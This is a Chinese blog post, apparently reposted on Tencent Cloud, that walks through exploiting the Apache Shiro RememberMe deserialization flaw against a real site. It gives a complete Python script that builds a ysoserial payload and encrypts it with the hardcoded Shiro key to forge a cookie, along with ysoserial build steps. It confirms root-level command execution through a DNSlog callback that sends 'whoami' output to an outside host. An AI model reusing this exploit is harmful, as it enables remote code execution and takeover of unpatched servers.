前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Shiro RememberMe反序列化导致的RCE实战应用

Shiro RememberMe反序列化导致的RCE实战应用

作者头像
字节脉搏实验室
发布2020-03-08 14:31:58
2.5K0
发布2020-03-08 14:31:58
举报

Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为550的 issue 中爆出严重的 Java 反序列化漏洞。下面将展示使用利用该漏洞对某网站进行检测。(现已提交漏洞并修复)

0x01漏洞原理简述

正常登录返回的cookie中获取到的remeberMe值Base64解码储存为二进制文件后发现存在AES加密,在CookieRememberMemanager.java的父类 AbstractRememberMeManager存在硬编码秘钥、对称加密方式泄露,且IV并没有正常启用,由于对称加密加密解密秘钥相同的特性,可伪造cookie实现RCE。(漏洞具体原理细节参考https://paper.seebug.org/shiro-rememberme-1-2-4/)

0x02工具准备

1.首先将以下代码保存为poc.py “` import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES

def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS – len(s) % BS) * chr(BS – len(s) % BS)).encode() key = “kPH+bIxk5D2deZiIxcaaaA==” mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext

if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) with open(“./payload.cookie”, “w”) as fpw: print(“rememberMe={}”.format(payload.decode()), file=fpw) “`

2.安装模块

脚本使用python3编写,建议使用pip3安装所需模块。

3.ysoserial的jar文件下载

“`

git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests

“`

随后将ysoserial-0.0.5-SNAPSHOT-all.jar文件放在和脚本相同的目录下即可,也可以去网上使用其他版本的jar文件,注意要与脚本中名称相同

0x03漏洞复现

1.首先访问一下我们的目标站点

在返回的Cookie中发现存在RememberMe=deleteME,可能存在漏洞。

2.随后利用Dnslog生成一个子域

3.接下来我们使用脚本生成Cookie 直接在脚本后添加想要执行的命令即可,例如:python3 ./poc.py “ping xxxx.dnslog.cn”

4.发包验证 随后我们将生成的payload.cookie中内容替换Cookie中的全部内容,发包

Refresh一下发现已经出现了流量记录,并可以看到是root权限。(这里我使用的命令是'ping `whoami`.xxxx.dnslog.cn')

0x04结语

本次的漏洞的产生根源是对称秘钥的信息泄露,复现中应注意秘钥存在多个版本,使用对应的秘钥即可成功RCE。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-02-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档